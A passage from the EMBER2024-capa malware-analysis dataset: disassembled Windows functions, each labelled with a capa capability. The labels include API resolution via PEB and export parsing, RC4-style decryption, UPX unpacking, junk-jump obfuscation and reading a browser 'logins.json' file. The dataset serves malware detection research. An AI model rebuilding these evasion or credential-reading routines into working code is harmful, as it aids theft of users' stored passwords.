joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4534c0
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x485014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0x64616f4d
cmp dword [0x4a9858], 0
je 0x4534fe
cmp dword [0x4a9854], 0
jne 0x4535da
xor ebx, ebx
mov edi, dword fs:[ebx + 0x30]
mov edi, dword [edi + 0xc]
mov eax, dword [edi + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
push ebx
push ecx
mov ecx, 0x64616f4e
sub ecx, 3
mov ebx, ecx
pop ecx
add ebx, 1
cmp dword [esi], ebx
pop ebx
jne 0x453523
push ebx
pushal
or ch, ch
sbb ax, 0x2a
popal
mov ebx, 0x41797262
sub ebx, 2
add ebx, 1
cmp dword [esi + 8], ebx
pop ebx
jne 0x453523
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
sub ebp, 1
mov edi, dword [edi + ebp*4]
add edi, eax
pop ebp
mov dword [0x4a9858], edi
xor ebx, ebx
mov edi, dword fs:[ebx + 0x30]
mov edi, dword [edi + 0xc]
mov eax, dword [edi + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
push eax
mov eax, 0x50746546
add eax, 1
cmp dword [esi], eax
pop eax
jne 0x45359a
push ebx
mov ebx, 0x73736571
add ebx, 1
cmp dword [esi + 0xa], ebx
pop ebx
jne 0x45359a
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
sub ebp, 1
mov edi, dword [edi + ebp*4]
add edi, eax
pop ebp
mov dword [0x4a9854], edi
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [0x4a9858]
call eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [0x4a9854]
call eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045aa05
mov esp, ebp
pop ebp
ret
Function at 0x453610
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47557d
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x38
mov eax, dword [0x485014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x48], 4
mov dword [ebp - 0x40], 0
jmp 0x453658
mov eax, dword [ebp - 0x40]
add eax, 1
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x22400
jae 0x45372f
mov dword [ebp - 4], 0
cmp dword [ebp - 0x40], 0x22414
jae 0x4536e9
mov byte [ebp - 0x15], 5
xor ecx, ecx
mov byte [ebp - 0x15], cl
movzx edx, byte [ebp - 0x15]
cmp edx, 3
je 0x4536e9
mov eax, dword [ebp - 0x40]
mov cl, byte [eax + 0x485a70]
mov byte [ebp - 0x41], cl
movzx ecx, byte [ebp - 0x41]
mov eax, dword [ebp - 0x40]
xor edx, edx
div dword [ebp - 0x48]
movzx edx, byte [edx + 0x4a7e70]
xor ecx, edx
mov byte [ebp - 0x15], cl
mov eax, dword [ebp - 0x40]
mov cl, byte [eax + 0x485a70]
mov byte [ebp - 0x42], cl
movzx edx, byte [ebp - 0x15]
mov eax, dword [ebp - 0x40]
movzx ecx, byte [eax + 0x485a70]
add ecx, edx
mov edx, dword [ebp - 0x40]
mov byte [edx + 0x485a70], cl
movzx eax, byte [ebp - 0x42]
mov ecx, dword [ebp - 0x40]
movzx edx, byte [ecx + 0x485a70]
sub edx, eax
mov eax, dword [ebp - 0x40]
mov byte [eax + 0x485a70], dl
jmp 0x45371a
mov dword [ebp - 4], 0xffffffff
jmp 0x45372a
jmp 0x45364f
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0045aa05
mov esp, ebp
pop ebp
ret
Function at 0x453770
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4755bd
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x48
mov eax, dword [0x485014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x54], 4
mov dword [ebp - 0x4c], 0xa
mov dword [ebp - 0x58], 0x14
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, 0x4a8b78
call fcn.00453b70
push 0x10c
call fcn.00453750
add esp, 4
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], 0
jmp 0x4537ea
mov edx, dword [ebp - 0x40]
add edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x48]
jae 0x4538c2
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x48]
add ecx, 0x14
cmp dword [ebp - 0x40], ecx
jae 0x45387c
mov byte [ebp - 0x15], 5
xor edx, edx
mov byte [ebp - 0x15], dl
movzx eax, byte [ebp - 0x15]
cmp eax, 3
je 0x45387c
mov ecx, dword [ebp - 0x40]
mov dl, byte [ecx + 0x4a7e88]
mov byte [ebp - 0x41], dl
movzx ecx, byte [ebp - 0x41]
mov eax, dword [ebp - 0x40]
xor edx, edx
div dword [ebp - 0x54]
movzx edx, byte [edx + 0x4a7e70]
xor ecx, edx
mov byte [ebp - 0x15], cl
mov eax, dword [ebp - 0x40]
mov cl, byte [eax + 0x4a7e88]
mov byte [ebp - 0x42], cl
movzx edx, byte [ebp - 0x15]
mov eax, dword [ebp - 0x40]
movzx ecx, byte [eax + 0x4a7e88]
add ecx, edx
mov edx, dword [ebp - 0x40]
mov byte [edx + 0x4a7e88], cl
movzx eax, byte [ebp - 0x42]
mov ecx, dword [ebp - 0x40]
movzx edx, byte [ecx + 0x4a7e88]
sub edx, eax
mov eax, dword [ebp - 0x40]
mov byte [eax + 0x4a7e88], dl
jmp 0x4538ad
mov dword [ebp - 4], 0xffffffff
jmp 0x4538bd
jmp 0x4537e1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0045aa05
mov esp, ebp
pop ebp
ret

Function at 0x45b026
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x476054]
test eax, eax
je 0x45b065
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x45b065
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x45b065
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x45b065
cmp dword [ecx + 0x74], 0xe
jbe 0x45b065
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x469cb4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00469b2a

Function at 0x4758e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x47590d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x47590d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10085f60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x110]
mov esi, ecx
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x128], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10085fb0
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.100b2e90
push 0x100fb404
lea ecx, [ebp - 0x128]
call fcn.100b2580
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x10086041
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10086037
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10086052
push edx
push ecx
call fcn.100becc4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100be769
mov esp, ebp
pop ebp
ret
call fcn.100cb6d0
int3
Function at 0x10086a50
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x110]
mov esi, ecx
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x128], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10086aa0
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.100b2e90
push 0x100fb404
lea ecx, [ebp - 0x128]
call fcn.100b2580
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x10086b31
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10086b27
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10086b42
push edx
push ecx
call fcn.100becc4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100be769
mov esp, ebp
pop ebp
ret
call fcn.100cb6d0
int3
Function at 0x1008b050
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
lea ecx, [ebp - 0x20]
push esi
push edi
add eax, 0xc
mov dword [ebp - 0x10], 0
push eax
mov dword [ebp - 0xc], 0xf
mov byte [ebp - 0x20], 0
call fcn.100b5850
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov esi, dword [ebp - 0xc]
mov eax, esi
cmovae ecx, dword [ebp + 8]
mov edi, dword [ebp + 0x18]
mov edx, dword [ebp - 0x10]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1008b0c3
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
cmovae eax, dword [ebp - 0x20]
lea esi, [eax + edx]
push esi
call fcn.100c21a0
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x1008b0d3
mov byte [ebp - 8], 0
lea ecx, [ebp - 0x20]
push dword [ebp - 8]
push edi
call fcn.100b4330
push str.logins.json
lea ecx, [ebp - 0x20]
call fcn.100b2580
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp + 8]
call fcn.100b2640
mov edx, dword [ebp - 0xc]
cmp edx, 0x10
jb 0x1008b120
mov ecx, dword [ebp - 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b116
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b214
push edx
push ecx
call fcn.100becc4
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push 0x100fb474
cmovae eax, dword [ebp + 8]
push eax
call fcn.100c885d
add esp, 8
test eax, eax
je 0x1008b1d4
push eax
call fcn.100c88eb
push 0x186a0
call fcn.100c5123
add esp, 8
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov esi, eax
cmovae ecx, dword [ebp + 8]
push 0
push 0x80
push 4
push 0
push 7
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x1008b192
push 0
lea ecx, [ebp - 8]
push ecx
push 0x186a0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008b1c2
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b1b8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b219
push edx
push ecx
call fcn.100becc4
add esp, 8
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100be769
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008b204
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b1fa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b21e
push edx
push ecx
call fcn.100becc4
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100be769
mov esp, ebp
pop ebp
ret
call fcn.100cb6d0
call fcn.100cb6d0
call fcn.100cb6d0
int3
Function at 0x65b8c47a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x4c
mov eax, dword [ebp + 8]
cdq
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
jmp 0x65b8c4f2
jmp 0x65b8c559
jmp 0x65b8c5c0
jmp 0x65b8c627
jmp 0x65b8c68e
jmp 0x65b8c6f5
jmp 0x65b8c75c
jmp 0x65b8c7c3
jmp 0x65b8c82a
jmp 0x65b8c891
jmp 0x65b8c8f8
jmp 0x65b8c95f
jmp 0x65b8c9c6
jmp 0x65b8ca2d
jmp 0x65b8ca94
jmp 0x65b8cafb
jmp 0x65b8cb62
jmp 0x65b8cbc9
jmp 0x65b8cc30
jmp 0x65b8cc97
jmp 0x65b8ccfe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
jmp 0x65b8cd6b
jmp 0x65b8cdd2
jmp 0x65b8ce39
jmp 0x65b8cea0
jmp 0x65b8cf07
jmp 0x65b8cf6e
jmp 0x65b8cfd5
jmp 0x65b8d03c
jmp 0x65b8d0a3
jmp 0x65b8d10a
jmp 0x65b8d171
jmp 0x65b8d1d8
jmp 0x65b8d23f
jmp 0x65b8d2a6
jmp 0x65b8d30d
jmp 0x65b8d374
jmp 0x65b8d3db
jmp 0x65b8d442
jmp 0x65b8d4a9
jmp 0x65b8d510
jmp 0x65b8d577
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov ebx, eax
sar ebx, 0x1f
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x20], eax
jmp 0x65b8d5f8
jmp 0x65b8d65f
jmp 0x65b8d6c6
jmp 0x65b8d72d
jmp 0x65b8d794
jmp 0x65b8d7fb
jmp 0x65b8d862
jmp 0x65b8d8c9
jmp 0x65b8d930
jmp 0x65b8d997
jmp 0x65b8d9fe
jmp 0x65b8da65
jmp 0x65b8dacc
jmp 0x65b8db33
jmp 0x65b8db9a
jmp 0x65b8dc01
jmp 0x65b8dc68
jmp 0x65b8dccf
jmp 0x65b8dd36
jmp 0x65b8dd9d
jmp 0x65b8de04
mov eax, dword [ebp - 0x20]
add eax, 0x78
mov dword [ebp - 0x24], eax
jmp 0x65b8de74
jmp 0x65b8dedb
jmp 0x65b8df42
jmp 0x65b8dfa9
jmp 0x65b8e010
jmp 0x65b8e077
jmp 0x65b8e0de
jmp 0x65b8e145
jmp 0x65b8e1ac
jmp 0x65b8e213
jmp 0x65b8e27a
jmp 0x65b8e2e1
jmp 0x65b8e348
jmp 0x65b8e3af
jmp 0x65b8e416
jmp 0x65b8e47d
jmp 0x65b8e4e4
jmp 0x65b8e54b
jmp 0x65b8e5b2
jmp 0x65b8e619
jmp 0x65b8e680
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x28], eax
jmp 0x65b8e700
jmp 0x65b8e767
jmp 0x65b8e7ce
jmp 0x65b8e835
jmp 0x65b8e89c
jmp 0x65b8e903
jmp 0x65b8e96a
jmp 0x65b8e9d1
jmp 0x65b8ea38
jmp 0x65b8ea9f
jmp 0x65b8eb06
jmp 0x65b8eb6d
jmp 0x65b8ebd4
jmp 0x65b8ec3b
jmp 0x65b8eca2
jmp 0x65b8ed09
jmp 0x65b8ed70
jmp 0x65b8edd7
jmp 0x65b8ee3e
jmp 0x65b8eea5
jmp 0x65b8ef0c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x1c]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x2c], eax
jmp 0x65b8ef8d
jmp 0x65b8eff4
jmp 0x65b8f05b
jmp 0x65b8f0c2
jmp 0x65b8f129
jmp 0x65b8f190
jmp 0x65b8f1f7
jmp 0x65b8f25e
jmp 0x65b8f2c5
jmp 0x65b8f32c
jmp 0x65b8f393
jmp 0x65b8f3fa
jmp 0x65b8f461
jmp 0x65b8f4c8
jmp 0x65b8f52f
jmp 0x65b8f596
jmp 0x65b8f5fd
jmp 0x65b8f664
jmp 0x65b8f6cb
jmp 0x65b8f732
jmp 0x65b8f799
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x20]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x30], eax
jmp 0x65b8f81a
jmp 0x65b8f881
jmp 0x65b8f8e8
Function at 0x65ba4e57
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x662be018]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [0x662be018]
add eax, edx
add eax, 0x18
mov dword [ebp - 0xc], eax
jmp 0x65ba4ede
jmp 0x65ba4f45
jmp 0x65ba4fac
jmp 0x65ba5013
jmp 0x65ba507a
jmp 0x65ba50e1
jmp 0x65ba5148
jmp 0x65ba51af
jmp 0x65ba5216
jmp 0x65ba527d
jmp 0x65ba52e4
jmp 0x65ba534b
jmp 0x65ba53b2
jmp 0x65ba5419
jmp 0x65ba5480
jmp 0x65ba54e7
jmp 0x65ba554e
jmp 0x65ba55b5
jmp 0x65ba561c
jmp 0x65ba5683
jmp 0x65ba56ea
mov dword [ebp - 0x14], 0
jmp 0x65ba5758
jmp 0x65ba57bf
jmp 0x65ba5826
jmp 0x65ba588d
jmp 0x65ba58f4
jmp 0x65ba595b
jmp 0x65ba59c2
jmp 0x65ba5a29
jmp 0x65ba5a90
jmp 0x65ba5af7
jmp 0x65ba5b5e
jmp 0x65ba5bc5
jmp 0x65ba5c2c
jmp 0x65ba5c93
jmp 0x65ba5cfa
jmp 0x65ba5d61
jmp 0x65ba5dc8
jmp 0x65ba5e2f
jmp 0x65ba5e96
jmp 0x65ba5efd
jmp 0x65ba5f64
mov dword [ebp - 0x18], 0
jmp 0x65ba5fd2
jmp 0x65ba6039
jmp 0x65ba60a0
jmp 0x65ba6107
jmp 0x65ba616e
jmp 0x65ba61d5
jmp 0x65ba623c
jmp 0x65ba62a3
jmp 0x65ba630a
jmp 0x65ba6371
jmp 0x65ba63d8
jmp 0x65ba643f
jmp 0x65ba64a6
jmp 0x65ba650d
jmp 0x65ba6574
jmp 0x65ba65db
jmp 0x65ba6642
jmp 0x65ba66a9
jmp 0x65ba6710
jmp 0x65ba6777
jmp 0x65ba67de
mov dword [ebp - 0x10], 0
jmp 0x65ba684c
jmp 0x65ba68b3
jmp 0x65ba691a
jmp 0x65ba6981
jmp 0x65ba69e8
jmp 0x65ba6a4f
jmp 0x65ba6ab6
jmp 0x65ba6b1d
jmp 0x65ba6b84
jmp 0x65ba6beb
jmp 0x65ba6c52
jmp 0x65ba6cb9
jmp 0x65ba6d20
jmp 0x65ba6d87
jmp 0x65ba6dee
jmp 0x65ba6e55
jmp 0x65ba6ebc
jmp 0x65ba6f23
jmp 0x65ba6f8a
jmp 0x65ba6ff1
jmp 0x65ba7058
mov dword [ebp - 0x10], 0
jmp 0x65ba9aeb
jmp 0x65ba70cb
jmp 0x65ba7132
jmp 0x65ba7199
jmp 0x65ba7200
jmp 0x65ba7267
jmp 0x65ba72ce
jmp 0x65ba7335
jmp 0x65ba739c
jmp 0x65ba7403
jmp 0x65ba746a
jmp 0x65ba74d1
jmp 0x65ba7538
jmp 0x65ba759f
jmp 0x65ba7606
jmp 0x65ba766d
jmp 0x65ba76d4
jmp 0x65ba773b
jmp 0x65ba77a2
jmp 0x65ba7809
jmp 0x65ba7870
jmp 0x65ba78d7
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [0x662be014]
add eax, edx
mov dword [ebp - 0x14], eax
jmp 0x65ba794f
jmp 0x65ba79b6
jmp 0x65ba7a1d
jmp 0x65ba7a84
jmp 0x65ba7aeb
jmp 0x65ba7b52
jmp 0x65ba7bb9
jmp 0x65ba7c20
jmp 0x65ba7c87
jmp 0x65ba7cee
jmp 0x65ba7d55
jmp 0x65ba7dbc
jmp 0x65ba7e23
jmp 0x65ba7e8a
jmp 0x65ba7ef1
jmp 0x65ba7f58
jmp 0x65ba7fbf
jmp 0x65ba8026
jmp 0x65ba808d
jmp 0x65ba80f4
jmp 0x65ba815b
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
mov edx, dword [0x662be01c]
add eax, edx
mov dword [ebp - 0x18], eax
jmp fcn.65ba81d3
mov eax, dword [0x662be018]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x10]
ja 0x65ba7064
nop
leave
ret
Function at 0x1001b150
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1001b331
pushal
mov esi, section.UPX1
lea edi, [esi - 0x11000]
lea eax, [edi + 0x13fe4]
push dword [eax]
mov dword [eax], 0xdbd9efa4
push eax
push edi
or ebp, 0xffffffff
jmp 0x1001b18a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1001b191
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1001b180
mov eax, 1
add ebx, ebx
jne 0x1001b1a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1001b198
jne 0x1001b1b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1001b198
xor ecx, ecx
sub eax, 3
jb 0x1001b1c8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1001b23a
mov ebp, eax
add ebx, ebx
jne 0x1001b1d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1001b1e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1001b204
inc ecx
add ebx, ebx
jne 0x1001b1f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1001b1e5
jne 0x1001b201
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1001b1e5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1001b224
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1001b215
jmp 0x1001b186
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1001b224
add edi, ecx
jmp 0x1001b186
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x45c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1001b246
cmp byte [edi], 7
jne 0x1001b246
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1001b24b
lea edi, [esi + 0x18000]
mov eax, dword [edi]
or eax, eax
je 0x1001b2c3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1b1dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1b28c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1001b278
mov ecx, edi
jns 0x1001b2a7
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1b290]
or eax, eax
je 0x1001b2bd
mov dword [ebx], eax
add ebx, 4
jmp 0x1001b295
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1001b2f4
cmp al, 0xef
ja 0x1001b2e7
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1001b2c9
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1001b2d6
mov ebp, dword [esi + 0x1b294]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1001b328
sub esp, 0xffffff80
jmp 0x1000f64c
Function at 0x45d020
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x43000]
push edi
jmp 0x45d03a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x45d041
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45d030
mov eax, 1
add ebx, ebx
jne 0x45d053
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x45d064
jne 0x45d083
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45d083
dec eax
add ebx, ebx
jne 0x45d070
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x45d048
add ebx, ebx
jne 0x45d07f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x45d0d5
xor ecx, ecx
sub eax, 3
jb 0x45d09b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x45d10a
sar eax, 1
mov ebp, eax
jmp 0x45d0a6
add ebx, ebx
jne 0x45d0a6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45d074
inc ecx
add ebx, ebx
jne 0x45d0b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45d074
add ebx, ebx
jne 0x45d0c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x45d0b6
jne 0x45d0d2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45d0b6
add ecx, 2
